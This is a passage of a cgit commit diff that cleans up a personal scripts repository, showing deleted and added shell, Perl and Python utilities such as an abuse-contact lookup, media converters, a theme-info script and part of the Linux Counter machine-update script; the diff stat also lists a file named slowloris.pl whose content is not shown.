summaryrefslogtreecommitdiffstats
diff options
context:
space:
mode:
authorFlorian Pritz <bluewind@xinu.at>2013-05-11 13:27:07 +0200
committerFlorian Pritz <bluewind@xinu.at>2013-05-11 13:27:07 +0200
commit60cb01f9a81c311f914aed4a23e8e5b35e965918 (patch)
tree8b9109a8f1bcf37506755e0e77b83b0a026cda57
parenta9ba01279e6f3c64b082f4de6e7d95cd1b5f7dab (diff)
downloadbin-60cb01f9a81c311f914aed4a23e8e5b35e965918.tar.gz
bin-60cb01f9a81c311f914aed4a23e8e5b35e965918.tar.xz
soem more cleanup
Signed-off-by: Florian Pritz <bluewind@xinu.at>
-rwxr-xr-xabuse.pl30
-rwxr-xr-xbashrun.sh106
-rwxr-xr-xcgrep3
-rwxr-xr-xcheck-mail-addr.pl51
-rwxr-xr-xcheck-mail-addr.sh3
-rwxr-xr-xconvert2mp327
-rwxr-xr-xconvert2ogg27
-rwxr-xr-xfb-client-up29
-rwxr-xr-xinfo.pl285
-rwxr-xr-xkernelver.py10
-rw-r--r--logos.pl37
-rwxr-xr-xmachine-update1108
-rwxr-xr-xmailq-recipient12
-rwxr-xr-xmkmaildir8
-rw-r--r--nomde.pl359
-rwxr-xr-xompload4
-rwxr-xr-xpg_list_updater.sh28
-rw-r--r--qt-faststart.c315
-rwxr-xr-xreformat_fstab.pl70
l---------revdepwalk1
-rwxr-xr-xsend-link-to-phone.sh3
-rwxr-xr-xshell2html19
-rwxr-xr-xslowloris.pl467
-rwxr-xr-xsmtp-cli814
-rwxr-xr-xtempfs.sh17
-rwxr-xr-xupdate_checker.sh25
-rw-r--r--upload-image.sh13
-rwxr-xr-xwoof429
-rwxr-xr-xxup.sh29
29 files changed, 47 insertions, 4282 deletions
diff --git a/abuse.pl b/abuse.pl
deleted file mode 100755
index 42e31a4..0000000
--- a/abuse.pl
+++ /dev/null
@@ -1,30 +0,0 @@
-#!/usr/bin/perl
-use warnings;
-use strict;
-use File::Basename;
-use Net::IP;
-use Net::DNS;
-
-my $abusednsbl = "abuse-contacts.abusix.org";
-
-if (@ARGV == 0) {
- print "usage: ", basename($0), " IP ...\n";
- exit 1;
-}
-
-my $res = Net::DNS::Resolver->new;
-
-for my $host (@ARGV) {
- my $IP = $host;
-
- my $ip = new Net::IP ($IP);
- my $querystring = $ip->reverse_ip().$abusednsbl;
- $querystring =~ s/\.in-addr\.arpa//;
- my $query = $res->query($querystring, "txt");
- if ($query) {
- print (($query->answer)[0]->rdata, "\n");
- } else {
- print "no abuse address for $IP\n";
- exit 1;
- }
-}
diff --git a/bashrun.sh b/bashrun.sh
deleted file mode 100755
index b571a52..0000000
--- a/bashrun.sh
+++ /dev/null
@@ -1,106 +0,0 @@
-#!/bin/bash
-#
-# usage: bashrun [geometry] (default: 40x1)
-#
-# NOTE: commands entered will have an '&' appended before being run,
-# so don't append it yourself, it will fail silently.
-#
-# rcfile: $HOME/.bashrunrc
-#
-# ---------------------------------------------------------------------
-
-GEOM=${1:-40x1}
-
-# create .bashrunrc unless present
-BASHRUNRC=$HOME/.bashrunrc
-if [ ! -f $BASHRUNRC ]; then
-(
-cat <<'EOF'
-# which X terminal to use:
-# (xterm|rxvt|urxvt|mrxvt|aterm|mlterm)
-XTERM=urxvtc
-
-# history file and options:
-HISTFILE=$HOME/.bashrun_history
-HISTCONTROL=ignoredups:erasedups
-
-# bind <TAB> to menu-complete. Makes <TAB> cycle through completions on
-# the current line instead of paging all possible completions
-bind '"\t": menu-complete'
-
-# bind <C-g> to send ^D
-# (<C-g> is the default quit-chain-key in emacs, ratpoison, etc)
-bind '"\C-g"':"\"\x04\""
-
-# set a simple prompt
-PS1=">"
-
-# ***DO NOT EDIT BEYOND THIS LINE***
-#
-# bind ENTER to add ' &' to command
-bind '"\x0d"':"\" &\n\""
-EOF
-) > $BASHRUNRC
-fi
-
-. $BASHRUNRC
-
-error() {
- if [ `which zenity` ]; then
- zenity --title bashrun --error --text "$@"
- elif [ `which kdialog` ]; then
- kdialog --title bashrun --error "$@"
- elif [ `which xmessage` ]; then
- xmessage "$@"
- fi
- echo -en "\007"
- echo $@
-}
-
-# run bash terminal
-if [ "$XTERM" = "xterm" ]; then
- $XTERM -name 'bashrun' \
- -title 'bashrun' \
- -geometry $GEOM \
- -e "/bin/bash --rcfile $BASHRUNRC -i -t"
-
-elif [[ "$XTERM" = "aterm" || "$XTERM" = "mlterm" ]]; then
- $XTERM -name 'bashrun' \
- -title 'bashrun' \
- -geometry $GEOM +sb \
- -e /bin/bash --rcfile $BASHRUNRC -i -t
-
-elif [[ "$XTERM" = "urxvt" || "$XTERM" = "rxvt" ]] || [ "$XTERM" = "urxvtc" ]; then
- $XTERM -name 'bashrun' \
- -title 'bashrun' \
- -geometry $GEOM \
- -e sh -c "/bin/bash --rcfile $HOME/.bashrunrc -i -t"
-
-
-elif [ "$XTERM" = "mrxvt" ]; then
- $XTERM -name 'bashrun' \
- -title 'bashrun' \
- -geometry $GEOM +sb -ht \
- -e sh -c "/bin/bash --rcfile $BASHRUNRC -i -t"
-else
- error "$XTERM is not supported. Please check $BASHRUNRC"
- exit 1
-fi
-
-# history cleanup...
-# remove trailing whitespace and '&' from the last history line
-tac $HISTFILE | sed "1s/\&//;s/ *$//" | tac > $HISTFILE
-
-# HISTCONTROL won't work on its own because bash applies the
-# 'ignoredups' and 'erasedups' rules to 'command &'.
-
-# apply 'ignoredups' if set
-if [[ "$HISTCONTROL" =~ "ignoredups" || "$HISTCONTROL" =~ "ignoreboth" ]]; then
- uniq $HISTFILE $HISTFILE.tmp
- mv $HISTFILE.tmp $HISTFILE
-fi
-
-# apply 'erasedups' if set
-if [[ "$HISTCONTROL" =~ "erasedups" ]]; then
- tac $HISTFILE | gawk '!x[$0]++' - | tac > $HISTFILE
-fi
diff --git a/cgrep b/cgrep
new file mode 100755
index 0000000..a99edb3
--- /dev/null
+++ b/cgrep
@@ -0,0 +1,3 @@
+#!/bin/sh
+
+grep "$@" | ccze -A
diff --git a/check-mail-addr.pl b/check-mail-addr.pl
deleted file mode 100755
index 4aa1d0b..0000000
--- a/check-mail-addr.pl
+++ /dev/null
@@ -1,51 +0,0 @@
-#!/usr/bin/perl
-use warnings;
-use strict;
-use IO::Socket::INET;
-use File::Basename;
-use Net::Domain qw(hostfqdn hostdomain);
-use Net::DNS;
-use Data::Dumper;
-
-if(@ARGV < 1) {
- print "usage: ", basename($0), " <emailaddress> [<from>]\n";
- exit;
-}
-
-autoflush STDOUT 1;
-
-sub post {
- my $socket = shift;
- my $command = shift;
- my $ret;
-
- print " >> $command";
- print $socket $command;
- while ($ret = $socket->getline) {
- print "<< ".$ret;
- $ret =~ /[0-9]([- ]).*/;
- last if ($1 eq " ");
- }
-
-}
-
-my $email = $ARGV[0];
-my $from = $ARGV[1] ? $ARGV[1] : "";
-$email =~ m/.*@(.*)/;
-my $domain = $1;
-
-print "Getting MX for $domain\n";
-my @mx = mx($domain);
-
-print "Connecting to ".$mx[0]->exchange."\n";
-my $socket = IO::Socket::INET->new(
- PeerAddr => $mx[0]->exchange,
- PeerPort => 25,
- Proto => "tcp") || die "Error: couldn't create socket.";
-
-print "<< ".$socket->getline;
-post $socket,"EHLO ".hostfqdn()."\r\n";
-post $socket, "MAIL FROM:<$from>\r\n";
-post $socket, "RCPT TO:<$email>\r\n";
-post $socket, "QUIT\r\n";
-
diff --git a/check-mail-addr.sh b/check-mail-addr.sh
new file mode 100755
index 0000000..0b358a6
--- /dev/null
+++ b/check-mail-addr.sh
@@ -0,0 +1,3 @@
+#!/bin/bash
+
+swaks -q to -f "<>" -t $1
diff --git a/convert2mp3 b/convert2mp3
deleted file mode 100755
index 26c65a8..0000000
--- a/convert2mp3
+++ /dev/null
@@ -1,27 +0,0 @@
-#!/bin/bash
-#----------------------------------------------------
-# Version: 0.1.0
-# Author: Florian "Bluewind" Pritz <flo@xssn.at>
-#
-# Licensed under WTFPL v2
-# (see COPYING for full license text)
-#
-#----------------------------------------------------
-# Converts a number of files provided on the command line to MP3
-#----------------------------------------------------
-
-for i in "$@"; do
- pushd . &> /dev/null
- cd "$(dirname "$i")"
-
- file="$(basename "$i")"
- file_mp3="$(echo ${file} | sed 's/\(.*\)\..*/\1/').mp3"
- tmpfile="$(mktemp)"
-
- mplayer -ao pcm:fast -novideo -vc null -vo null -ao pcm:file="$tmpfile" "$file"
- lame -h "$tmpfile" "$file_mp3"
-
- rm "$tmpfile"
-
- popd &> /dev/null
-done
diff --git a/convert2ogg b/convert2ogg
deleted file mode 100755
index ec49617..0000000
--- a/convert2ogg
+++ /dev/null
@@ -1,27 +0,0 @@
-#!/bin/bash
-#----------------------------------------------------
-# Version: 0.1.0
-# Author: Florian "Bluewind" Pritz <flo@xssn.at>
-#
-# Licensed under WTFPL v2
-# (see COPYING for full license text)
-#
-#----------------------------------------------------
-# Converts a number of files provided on the command line to OGG
-#----------------------------------------------------
-
-for i in "$@"; do
- pushd . &> /dev/null
- cd "$(dirname "$i")"
-
- file="$(basename "$i")"
- file_ogg="$(echo ${file} | sed 's/\(.*\)\..*/\1/').ogg"
- tmpfile="$(echo ${file} | sed 's/\(.*\)\..*/\1/').wav"
-
- mplayer -ao pcm:fast -novideo -vc null -vo null -ao pcm:file="$tmpfile" "$file"
- oggenc -q 5 "$tmpfile"
-
- rm "$tmpfile"
-
- popd &> /dev/null
-done
diff --git a/fb-client-up b/fb-client-up
new file mode 100755
index 0000000..1bbf273
--- /dev/null
+++ b/fb-client-up
@@ -0,0 +1,29 @@
+#!/bin/bash
+
+set -e
+
+branch="${1:-master}"
+
+TMPDIR="`mktemp -d "/tmp/fb-client-up.XXXXXX"`"
+trap "rm -rf '${TMPDIR}'" EXIT TERM
+
+cd "$TMPDIR"
+git clone ~/git/fb .
+git checkout "$branch"
+
+VERSION="$(make version)"
+
+git tag --verify "v$VERSION"
+
+echo "==> Building release tarball"
+make dist
+echo "==> Building finished"
+
+gpg --detach-sign "dist/fb-$VERSION.tar.gz"
+scp "dist/fb-$VERSION.tar.gz" dist/fb-$VERSION.tar.gz.sig web-filebin@karif:public_html/data/client
+
+if [[ $branch = "master" ]]; then
+ ssh web-filebin@karif echo "$VERSION" \> public_html/data/client/latest
+fi
+
+echo "released version: $VERSION"
diff --git a/info.pl b/info.pl
deleted file mode 100755
index d29aa95..0000000
--- a/info.pl
+++ /dev/null
@@ -1,285 +0,0 @@
-#!/usr/bin/perl
-# @title : Theme info script 0.1.2 revisited
-# @author: rab
-# @date : 08/04/08
-# @commnt: Maybe if people quit forking the hell outta this, it would be easier to maintain
-
-## Configurations
-# On = 1. Off = 0
-my %display = (
- "OS" => 1, # Displays the operating system's name
- "KL" => 1, # Displays your kernel version
- "DE" => 0, # Displays your desktop environment, if you have one
- "WM" => 1, # Displays your window manager
- "WMT" => 1, # Displays your window manager's theme
- "IC" => 1, # Displays your icon theme, if you have one
- "FN" => 1, # Displays your font
- "UI" => 1 # Displays your UI theme
- );
-
-# The command to execute for taking a screenshot
-# Escape ' with a backslash, \'
-# Leave blank if you don't want a screenshot taken
-#my $screenshot = 'scrot screen-%H-%M-%S.png -e \'mv $f ~/media/screens/\'';
-my $screenshot = '';
-
-# The Color to use for the variables, needs to be global for logos.pl
-@colors = ( "\e[38;0;33m", "\e[38;1;37m", "\e[m" );
-
-# Debugging
-my $debug = 1;
-## End of configuration
-
-########################
-## Script starts here ##
-########################
-@distros = ();
-require '/home/flo/bin/logos.pl';
-
-my $nocolor = "\e[0m";
-my @info = ();
-my ($DE,$WM,$theme,$icon,$font,$cscheme) = "";
-my $distro = &distro;
-
-## Hash of WMs and the process they run #
-my %WMlist = ("Beryl" => "beryl",
- "Fluxbox" => "fluxbox",
- "Openbox" => "openbox",
- "Blackbox" => "blackbox",
- "Xfwm4" => "xfwm4",
- "Metacity" => "metacity",
- "Kwin" => "kwin",
- "FVWM" => "fvwm",
- "Enlightenment" => "enlightenment",
- "IceWM" => "icewm",
- "Window Maker" => "wmaker",
- "Compiz-Fusion" => "compiz",
- "PekWM" => "pekwm",
- "Awesome" => "awesome",
- "Dwm" => "dwm" );
-
-## Hash of DEs and the process they run ##
-my %DElist = ("Gnome" => "gnome-session",
- "Xfce4" => "xfce-mcs-manage",
- "KDE" => "ksmserver");
-
-## Get Kernel version ##
-if( $display{KL} ) {
- print "::$colors[0] Finding Kernel version$nocolor\n"
- if $debug;
-
- my $kernel = `uname -r`; $kernel =~ s/\s+/ /g;
- push @info, "$colors[0]Kernel\t\t\t$colors[1]$kernel$nocolor";
-}
-
-## Find running processes ##
-print "::$colors[0] Getting processes$nocolor\n"
- if $debug;
-my $processes = `ps -A | awk {'print \$4'}`;
-
-
-## Find a Desktop Environment ##
-DESKTOP:
-goto WINDOWM if !$display{DE};
-while(my($DEname,$DEprocess) = each(%DElist)) {
- next if $processes !~ /$DEprocess/s;
-
- $DE = $DEname;
- print "::$colors[0] Desktop Environment found as $colors[1]$DEname$nocolor\n"
- if $debug;
- push @info, "$colors[0]Desktop Environment\t$colors[1]$DEname$nocolor";
- last;
-}
-
-## Find a Window Manager ##
-WINDOWM:
-goto ICON if !$display{WM};
-while(my($WMname,$WMprocess) = each(%WMlist)) {
- next if $processes !~ /$WMprocess/sg;
-
- $WM = $WMname;
- print "::$colors[0] Window Manager found as $colors[1]$WMname$nocolor\n"
- if $debug;
- push @info, "$colors[0]Window Manager\t\t$colors[1]$WMname$nocolor";
- last;
-}
-
-## Find a Window Manager Theme ##
-WINDOWMT:
-goto ICON if !$display{WMT} || !$display{WM} || $WM eq "";
-print "::$colors[0] Finding $WM theme$nocolor\n"
- if $debug;
-
-$WM eq "Openbox" && do {
- ($theme) = fgrep(["$ENV{HOME}/.config/openbox/rc.xml"], ["<name>(.+?)</name>"]);
- goto ICON;
-};
-
-$WM eq "Beryl" && do {
- ($theme) = fgrep(["$ENV{HOME}/.emerald/theme/theme.ini"], ["description=(.*?)$/"]);
- goto ICON;
-};
-
-$WM eq "Metacity" && do {
- $theme = `gconftool-2 -g /apps/metacity/general/theme`;
- chomp $theme;
- goto ICON;
-};
-
-$WM eq "Fluxbox" && do {
- ($theme) = fgrep(["$ENV{HOME}/.fluxbox/init"], ["session.styleFile:\s*/.*?/(.+?)"]);
- goto ICON;
-};
-
-$WM eq "Blackbox" && do {
- ($theme) = fgrep(["$ENV{HOME}/.blackboxrc"], ["session.styleFile:\s*/.*?/(.+?)"]);
- goto ICON;
-};
-
-$WM eq "Xfwm4" && do {
- ($theme) = fgrep(["$ENV{HOME}/.config/xfce4/mcs_settings/xfwm4.xml"], ["<option name=\"Xfwm/ThemeName\" type=\"string\" value=\"(.+?)\"/>"]);
- goto ICON;
-};
-
-$WM eq "Kwin" && do {
- ($theme) = fgrep(["$ENV{HOME}/.kde/share/config/kwinrc"], ['PluginLib=kwin[34]_(.+?)\s']);
- goto ICON;
-};
-
-$WM eq "Enlightenment" && do {
- my $remote = `enlightenment_remote -theme-get theme`;
- ($theme) = $remote =~ /FILE="(.+?)\\.edj"/sg;
- goto ICON;
-};
-
-$WM eq "IceWM" && do {
- ($theme) = fgrep(["$ENV{HOME}/.icewm/theme"], ["Theme=\"(.+?)/.*?\\.theme"]);
- goto ICON;
-};
-
-$WM eq "PekWM" && do {
- ($theme) = fgrep(["$ENV{HOME}/.pekwm/config"], ["Theme.*?/(.*?)"]);
- goto ICON;
-};
-
-$WM eq "Dwm" && do {
- undef $theme; ## Unless you want to grab some values from the binary?
- goto ICON;
-};
-
-$WM eq "Awesome" && do {
- undef $theme;
- goto ICON;
-};
-
-ICON:
-if( $theme ne "" ) {
- print "::$colors[0] $WM Theme found as $colors[1]$theme$nocolor\n"
- if $debug;
- push @info, "$colors[0]$WM Theme $colors[1]\t\t$theme$nocolor";
-}
-
-$DE eq "Gnome" && do {
- $icon = `gconftool-2 -g /desktop/gnome/interface/icon_theme`;
- $font = `gconftool-2 -g /desktop/gnome/interface/font_name`;
- $theme = `gconftool-2 -g /desktop/gnome/interface/gtk_theme`;
- chomp $icon; chomp $font; chomp $theme;
- goto PRINT;
-};
-
-$DE eq "Xfce4" && do {
- ($icon,$font,$theme) = fgrep(["$ENV{HOME}/.config/xfce4/mcs_settings/gtk.xml"],
- ['<option name="Net/IconThemeName" type="string" value="(.+?)"/>',
- '<option name="Gtk/FontName" type="string" value="(.+?)"/>',
- '<option name="Net/ThemeName" type="string" value="(.+?)"/>']);
- goto PRINT;
-};
-
-$DE eq "KDE" && do {
- ($theme,$cscheme,$icon,$font) = fgrep(["$ENV{HOME}/.kde/share/config/kdeglobals"],
- ['widgetStyle=(.+?)\s',
- 'colorScheme=(.+?)\.kcsrc\s',
- 'Theme=(.+?)\s',
- 'font=(.+?)\s']);
- $font = (split /,/, $font)[0];
- goto PRINT;
-};
-
-@vars = fgrep(["$ENV{HOME}/.gtkrc-2.0",
- "$ENV{HOME}/.gtkrc.mine"],
- ['include ".*?themes/(.+?)/gtk-[12]\.0/gtkrc',
- '.*?gtk-icon-theme-name.*?"(.+?)"',
- '.*?gtk-font-name.*?"(.+?)"']);
-
-$theme = $vars[0] ? $vars[0] : $vars[3] ? $vars[3] : "";
-$icon = $vars[1] ? $vars[1] : $vars[4] ? $vars[4] : "";
-$font = $vars[2] ? $vars[2] : $vars[5] ? $vars[5] : "";
-
-## Lets print this bitch ##
-PRINT:
-push @info, $colors[0].($DE ? $DE : "GTK")." Theme \t\t$colors[1]".($DE eq "KDE" ? "$theme/$cscheme" : $theme).$nocolor
- if $display{UI} && $theme ne "";
-
-push @info, "$colors[0]Icons\t\t\t$colors[1]$icon$nocolor"
- if $display{IC} && $icon ne "";
-
-push @info, "$colors[0]Font\t\t\t$colors[1]$font$nocolor"
- if $display{FN} && $font ne "";
-
-printf $distro, @info; sleep 3;
-exec $screenshot
- if $screenshot ne "";
-
-sub fgrep(\@\@) {
- my($files,$regexps) = @_;
- my @retvals = ();
- my $slurp = $/; undef $/;
-
- foreach my $file (@$files) {
- next if !(-e $file);
-
- open FILE, "<", $file || die "$colors[0]Error opening $colors[1]'$file', $colors[0]$!$nocolor\n";
- $content = <FILE>;
- close FILE;
-
- foreach my $regexp (@$regexps) {
- my $expg = 0; $expg++ while( $regexp =~ /\(.*?\)/g );
- my @tmp = $content =~ /$regexp/sg;
- push @tmp, "" while( scalar @tmp < $expg );
- @retvals = (@retvals,@tmp);
- }
- }
-
- $/ = $slurp;
- @retvals;
-}
-
-sub distro {
- my $distro = "";
- my $slurp = $/; undef $/;
-
- foreach $ops (@distros) {
- next if !(-e @$ops[1]);
-
- $fdistro = $distro = @$ops[0];
- open FILE, "<", @$ops[1] || die "$colors[0]Error opening $colors[1]'@$ops[1]', $colors[0]$!$nocolor\n";
- $content = <FILE>;
- close FILE;
-
- if( defined @$ops[2] ) {
- $content =~ /@$ops[2]/sg;
- $fdistro .= " ($1)";
- }
-
- chomp $distro; chomp $fdistro;
- last;
- }
-
- return ""
- if $distro eq "";
-
- $/ = $slurp; $distro = lc $distro;
- eval "\$distro = \$$distro;";
- push @info, "$colors[0]Distro\t\t\t$colors[1]$fdistro$nocolor";
- $distro;
-}
diff --git a/kernelver.py b/kernelver.py
deleted file mode 100755
index 73dd696..0000000
--- a/kernelver.py
+++ /dev/null
@@ -1,10 +0,0 @@
-#!/usr/bin/python
-import urllib2, re
-
-url = urllib2.urlopen('http://www.kernel.org')
-html = url.read()
-url.close()
-
-table = re.search("""<table class="kver">.*?<td>(?P<kertext>.*?)&.*?</td>.*?<td><b><a href=".*?">(?P<kerver>.*?)</a></b></td>""", html, re.S)
-print table.group('kertext'), table.group('kerver')
-
diff --git a/logos.pl b/logos.pl
deleted file mode 100644
index 9739ed2..0000000
--- a/logos.pl
+++ /dev/null
@@ -1,37 +0,0 @@
-## Put your distrobutions logos here
-#
-# Format::
-# For a new distro
-# push @distros, ["DistroShowName", "/path/to/current/version", "Optional regexp to get & append to the DistroShowName"];
-# $distroname = "..distros logo..";
-#
-# The logo variable should be a lower-cased version of the DistroShowName.
-# With in the logo, Please escape unused %.
-#
-#
-
-
-push @distros, ["ArchLinux", "/etc/issue", "Arch Linux \\((.*?)\\)"];
-$archlinux = "
-$colors[1]
-$colors[1]
-$colors[1]
-$colors[1] __ $colors[0]___
-$colors[1] /\\ \\ $colors[0] /\\_ \\ __
-$colors[1] __ _ __ ___\\ \\ \\___ $colors[0]\\//\\ \\ /\\_\\ ___ __ __ __ _
-$colors[1] /'__`\\ /\\`'__\\/'___\\ \\ _ `\\ $colors[0]\\ \\ \\ \\/\\ \\ /' _ `\\/\\ \\/\\ \\/\\ \\/'\\
-$colors[1] /\\ \\L\\.\\_\\ \\ \\//\\ \\__/\\ \\ \\ \\ \\ $colors[0]\\_\\ \\_\\ \\ \\/\\ \\/\\ \\ \\ \\_\\ \\/> </
-$colors[1] \\ \\__/.\\_\\\\ \\_\\\\ \\____\\\\ \\_\\ \\_\\$colors[0]/\\____\\\\ \\_\\ \\_\\ \\_\\ \\____//\\_/\\_\\
-$colors[1] \\/__/\\/_/ \\/_/ \\/____/ \\/_/\\/_/$colors[0]\\/____/ \\/_/\\/_/\\/_/\\/___/ \\//\\/_/
-$colors[0]
-$colors[0] $colors[2]%s
-$colors[0] $colors[2]%s
-$colors[0] $colors[2]%s
-$colors[0] $colors[2]%s
-$colors[0] $colors[2]%s
-$colors[0] $colors[2]%s
-$colors[0] $colors[2]%s
-$colors[0] $colors[2]%s
-$colors[0] $colors[2]%s
-$colors[1]
-$colors[1]"
diff --git a/machine-update b/machine-update
deleted file mode 100755
index 6d37b5e..0000000
--- a/machine-update
+++ /dev/null
@@ -1,1108 +0,0 @@
-#!/usr/bin/perl -w
-# For Emacs: -*- mode:cperl; mode:folding; -*-
-#
-# Get a machine's critical features, And mail/http them to the Linux Counter
-#
-# (c) 1999 - Harald Tveit Alvestrand, the Linux Counter Project
-# 2003 - PetaMem Group (www.petamem.com)
-# License: GNU Copyleft - see bottom of file.
-# Changelog: see even more bottom of the file
-#
-# As a matter of courtesy, if you change this file on your own,
-# make sure it does NOT mail to the counter!
-#
-use strict;
-use POSIX;
-
-our $VERSION = '0.31';
-our $CVS_VERSION = '$Revision: 1.9 $ $Date: 2008/01/05 15:03:50 $ $Author: patrick $';
-our $IsInTestHarness;
-use vars qw(%values %oldvalues $errordata $debugdata %files); # data that is sent
-use vars qw($progname %option $mailprogram);
-use vars qw(%is_sys_account %is_user %is_account);
-
-# stuff that controls defaults for passwdscan & accounts subroutines
-my ($UID_MIN, $UID_MAX, $got_defs) = (100, 65533, '');
-
-# Make sure nothing happens, so that the script's routines
-# can be debugged from another file
-return 1 if($IsInTestHarness);
-
-&preparation;
-&options;
-
-&readfile;
-&checkconfig;
-
-if ($option{ask}) {
- &askquestions;
-}
-
-&writefile;
-&sendfile;
-
-# {{{ preparation
-
-#
-sub preparation {
- die "No HOME environment variable\n" if (!$ENV{HOME});
- die "No home diretory\n" if ! -d $ENV{HOME};
- # Kill some internationalization
- $ENV{LANG} = 'C';
- delete $ENV{LC_CTYPE};
- delete $ENV{LC_NUMERIC};
- delete $ENV{LC_NAME};
- delete $ENV{LC_TIME};
- delete $ENV{LC_MESSAGES};
- delete $ENV{LC_COLLATE};
- delete $ENV{LC_MONETARY};
-
- my $infodir = "$ENV{HOME}/.linuxcounter";
- if (! -d $infodir) {
- mkdir($infodir, 0766) || die "Unable to make $infodir\n";
- }
- # Keep track of where I am; need it to install crontab entry
- # progname is a global.
- $progname = $0;
- if ($progname !~ /^\//) {
- my $progdir = `pwd`;
- chop $progdir;
- $progname = "$progdir/$progname";
- $progname =~ s!/./!/!;
- }
- chdir($infodir) || die "Unable to change to $infodir\n";
- my ($sysname, $nodename, $release, $version, $machine ) = POSIX::uname();
- if (! -f $nodename) {
- print STDERR "Machine-update $VERSION. Use $0 -l to display license.\n";
- print STDERR "Creating the infofile for your computer.\n";
- # Create the infodir
- open(INFO, ">$nodename");
- print INFO "uniqueid: ", randomnumber(), "\n";
- close INFO;
- }
-
- srand time % $$; # do some seed "randomization"
-
- # Find out what mail program to use !! Terrible kludge !!
- $mailprogram = "/usr/bin/mail";
- if (! -x "$mailprogram") {
- if (-x "/bin/mail") {
- $mailprogram = "/bin/mail";
- } else {
- if (-x "/bin/mailx") {
- $mailprogram = "/bin/mailx";
- } else {
- if (-x "/usr/sbin/sendmail") {
- $mailprogram = "/usr/sbin/sendmail";
- } else {
- if (-x "/usr/lib/sendmail") {
- $mailprogram = "/usr/lib/sendmail";
- } else {
- if (-x "/usr/bin/mutt") {
- $mailprogram = "/usr/bin/mutt";
- } else {
- if (-x "/usr/sbin/exim4") {
- $mailprogram = "/usr/sbin/exim4";
- } else {
- if (-x "/usr/bin/elm") {
- $mailprogram = "/usr/bin/elm";
- } else {
- die "Cannot find a mail program to use";
- }
- }
- }
- }
- }
- }
- }
- }
-}
-
-# }}}
-# {{{ options
-
-#
-sub options {
- my $opt;
-
- while (defined($ARGV[0]) && $ARGV[0] =~ /^-/) {
- $opt = shift @ARGV;
- $opt =~ /c/ && &installcrontab;
- $opt =~ /d/ && $option{DEBUG}++ && print STDERR "Debug is $option{DEBUG}\n";
- $opt =~ /h/ && &help;
- $opt =~ /i/ && ($option{ask} = 1);
- $opt =~ /l/ && &license;
- $opt =~ /m/ && ($option{mail} = 1);
- $opt =~ /t/ && ($option{mail} = 0);
- $opt =~ /u/ && &uninstallcrontab;
- $opt =~ /v/ && die "\n\t Linux Counter machine-update version $VERSION\n"
- . "\tCVS version $CVS_VERSION\n";
- $opt =~ /x/ && ($option{info} = 1);
- }
-}
-
-# }}}
-
-# {{{ askquestions
-
-#
-sub askquestions {
- return if ! -t STDIN || ! -t STDOUT;
- $| = 1;
- print "Here you can specify some info that the script can't know for itself\n";
- $values{owner} = askone("Your Linux Counter reg#, if any", $values{owner});
- $values{key} = askone("Your machine's counter reg#, if any", $values{key});
-}
-
-# }}}
-# {{{ askone
-#
-sub askone {
- my $prompt = shift;
- my $default = shift;
-
- print $prompt;
- if (defined($default)) {
- print " [$default]";
- }
- print ':';
-
- my $ans = <STDIN>;
-
- chop $ans;
- &Debug("Answer was $ans\n");
- $ans = $default if (!length($ans));
-
- return $ans;
-}
-# }}}
-
-# {{{ readfile
-
-#
-sub readfile {
- my ($sysname, $nodename, $release, $version, $machine ) = POSIX::uname();
- open(INFO, $nodename) || die "Did not find infofile $nodename\n";
- while (<INFO>) {
- chop;
- s/#.*//;
- if (/^(\S+): *(.+)/) {
- my $key = $1;
- my $value = $2;
- if ($1 !~ /^(owner|key|uniqueid)$/) {
- next;
- }
- &Debug("Read $key: $value\n");
- $values{$key} = $value;
- } else {
- print STDERR "Unparsed info line: $_ - discarded\n";
- }
- }
- close INFO;
- %oldvalues = %values;
-}
-
-# }}}
-# {{{ writefile
-
-#
-sub writefile {
- my ($sysname, $nodename, $release, $version, $machine ) = POSIX::uname();
-
- open(INFO, ">$nodename.new");
- for my $val (sort keys(%values)) {
- &Debug("Saving $val: $values{$val}\n");
- print INFO "$val: $values{$val}\n";
- }
- close INFO;
- rename("$nodename.new", $nodename) || die "Rename failed\n";
-}
-
-# }}}
-# {{{ sendfile
-
-#
-sub sendfile {
- if ($option{mail}) {
- open(MAIL, "|$mailprogram machine-registration\@counter.li.org")
- || die "Unable to open $mailprogram\n";
- } else {
- warn "--------------------------------------------------------\n";
- warn "This is what will be sent to the Linux Counter if you\n";
- warn "run the program with the -m switch. Now, NOTHING IS SENT\n";
- warn "--------------------------------------------------------\n";
- open(MAIL, ">&STDOUT");
- }
- # note that $ENV{USER} isn't (always) set in a cron job...
- my $user = (getpwuid($<))[0];
- $user = "unknown-id-$<" if !$user;
- print MAIL <<EOF
-From: $user
-To: machine-registration\@counter.li.org
-Subject: machine-update for $values{name}
-
-Mail program that sent this email: $mailprogram
-Perl version used to run machine-update: $]
-
-//MACHINE
-EOF
- ;
- for my $val (sort keys(%values)) {
- print MAIL "$val: $values{$val}\n"
- if length($values{$val}) > 0;
- }
- print MAIL "//END\n";
- # Attach files
- for my $file (keys(%files)) {
- print MAIL "//FILE $file\n";
- print MAIL $files{$file};
- print MAIL "//EOF\n";
- }
-
-
- # Attach possible other info
- if ($errordata) {
- print MAIL "----- Problem info gathered during probing -----\n";
- print MAIL $errordata;
- }
- $option{info} && do {
- print MAIL "----- Debug data for the script maintainer's aid -----\n";
- print MAIL $debugdata;
- };
- close MAIL;
-}
-
-# }}}
-
-# {{{ randomnumber
-#
-sub randomnumber {
- return int(rand(1_000_000_000));
-}
-# }}}
-
-# {{{ checkconfig
-
-#
-sub checkconfig {
- my ($sysname, $nodename, $release, $version, $machine ) = POSIX::uname();
-
- warn "This is not Linux, but $sysname!\n" if($sysname ne 'Linux');
- $values{method} = "machine-update version $VERSION";
- $values{os} = $sysname;
- $values{kernel} = $release;
- $values{cpu_uname} = $machine;
- $values{name} = $nodename; # First order guess
-
- # Credit for some of the code below goes to
- # Denis Havlik: <havlik@ap.univie.ac.at>
- # Blame is, of course, all mine - HTA -
- # Note - there are numerous problems with df, including:
- # - early versions don't support the -l option
- # - at least some include SAMBA filesystems in the -l option
- # 1: Snarf a df -T
- my $dfbin = &xbin("df");
- $files{"df -T"} = `$dfbin -T -x nfs`;
-
- $values{accounts} = &accounts;
- $values{users} = &active_users;
-
- my $uptime = &xbin('uptime');
- if($uptime) {
- $uptime = `$uptime`;
- $values{uptime_1} = $uptime; # preserve raw version
- $values{uptime_1} =~ s/\n.*//;
- }
- my $lastprog = xbin('last');
- if ($lastprog && -r "/var/run/utmp") {
- $values{uptime_2} = `$lastprog -xf /var/run/utmp runlevel`;
- $values{uptime_2} =~ s/\n.*$//s;
- } else {
- DebugInfo("Can't do last to find uptime");
- }
